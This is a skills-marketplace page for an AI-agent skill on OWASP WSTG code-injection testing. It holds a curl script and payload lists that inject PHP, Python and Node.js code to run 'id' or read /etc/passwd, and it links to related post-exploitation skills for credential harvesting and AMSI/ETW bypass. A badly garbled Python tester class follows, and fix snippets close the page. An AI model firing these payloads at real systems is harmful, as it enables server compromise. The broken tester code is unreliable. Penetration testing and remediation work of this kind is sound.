Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-11명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-inpv-11 |
| description | Testing for Code Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-11 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | ["python","ruby","php","java","jinja2","twig","freemarker"] |
| cwe_ids | ["CWE-94","CWE-95"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-11
Testing for Code Injection
Code Injection occurs when an application incorporates user input into code that is dynamically executed. This includes injection into interpreted languages (PHP, Python, JavaScript, Ruby) through functions like eval(), exec(), or similar. Successful exploitation leads to arbitrary code execution on the server.
#!/bin/bash
TARGET="https://target.com"
# Test common code injection payloads
echo "[*] Testing for code injection..."
# PHP code injection
curl -s "$TARGET/page.php?code=phpinfo()"
curl -s "$TARGET/page.php?calc=1+1"
curl -s "$TARGET/page.php?eval=system('id')"
# Python code injection
curl -s "$TARGET/api/calc?expr=__import__('os').popen('id').read()"
# JavaScript/Node.js injection
curl -s "$TARGET/api/eval?code=require('child_process').execSync('id')"
#!/usr/bin/env python3
"""
Code Injection Vulnerability Tester
"""
import requests
import time
class :
():
.url = url
.findings = []
.session = requests.Session()
PAYLOADS = {
: [
,
,
,
,
,
,
,
,
,
],
: [
,
,
,
,
,
,
],
: [
,
,
,
,
,
],
: [
,
,
,
,
,
,
,
],
}
():
()
payload .PAYLOADS[]:
:
response = .session.get(
.url,
params={param: payload},
timeout=
)
response.text \
response.text \
response.text:
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
payload:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
payload .PAYLOADS[]:
:
start = time.time()
response = .session.get(
.url,
params={param: payload},
timeout=
)
elapsed = time.time() - start
response.text:
()
()
.findings.append({
: ,
: payload,
:
})
elapsed > payload:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
payload .PAYLOADS[]:
:
response = .session.get(
.url,
params={param: payload},
timeout=
)
response.text:
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
payload:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
test_cases = [
(, ),
(, ),
(, ),
]
payload, expected test_cases:
:
response = .session.get(
.url,
params={param: payload}
)
expected response.text:
()
code_payloads = [
,
,
]
code_payload code_payloads:
resp = .session.get(
.url,
params={param: code_payload}
)
resp.text:
()
.findings.append({
: ,
: code_payload,
:
})
Exception e:
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
()
():
.test_php_injection(param)
.test_python_injection(param)
.test_nodejs_injection(param)
.test_arithmetic_injection(param)
.generate_report()
tester = CodeInjectionTester()
tester.run_tests()
// PHP Code Injection Payloads
${system('id')}
${`id`}
";system('id');//
';system('id');//
phpinfo()
highlight_file('/etc/passwd')
file_get_contents('/etc/passwd')
# Python Code Injection Payloads
__import__('os').system('id')
eval(compile('import os; os.system("id")','<string>','exec'))
(lambda: __import__('os').system('id'))()
getattr(__import__('os'),'system')('id')
// Node.js Code Injection Payloads
require("child_process").execSync("id").toString()
global.process.mainModule.require("child_process").execSync("id").toString()
this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()
| Tool | Purpose |
|---|---|
| Burp Suite | Payload injection |
| Commix | Command/code injection |
| Custom scripts | Targeted testing |
# Python - Never use eval with user input
# VULNERABLE
result = eval(user_input)
# SECURE - Use safe evaluation libraries
import ast
def safe_eval(expression):
# Only allow basic math
allowed_nodes = {
ast.Expression, ast.Num, ast.BinOp,
ast.Add, ast.Sub, ast.Mult, ast.Div
}
tree = ast.parse(expression, mode='eval')
for node in ast.walk(tree):
if type(node) not in allowed_nodes:
raise ValueError("Unsafe expression")
return eval(compile(tree, '<string>', 'eval'))
<?php
// PHP - Avoid eval and dangerous functions
// VULNERABLE
eval($_GET['code']);
// SECURE - Use allowlists and safe alternatives
$allowed_functions = ['strlen', 'strtoupper', 'strtolower'];
$func = $_GET['func'];
if (in_array($func, $allowed_functions)) {
$result = call_user_func($func, $input);
}
?>
// Node.js - Avoid eval and vm with user input
// VULNERABLE
eval(userInput)
// SECURE - Use sandboxed evaluation
const { VM } = require("vm2")
const vm = new VM({
timeout: 1000,
sandbox: {},
})
const result = vm.run(userInput)
| Finding | CVSS | Severity |
|---|---|---|
| Direct code execution | 9.8 | Critical |
| eval() with user input | 9.8 | Critical |
| Arithmetic injection to RCE | 9.8 | Critical |
| CWE ID | Title |
|---|---|
| CWE-94 | Improper Control of Generation of Code |
[ ] eval() functions identified
[ ] Dynamic code execution tested
[ ] Time-based payloads tested
[ ] Multiple languages tested
[ ] Arithmetic injection tested
[ ] Findings documented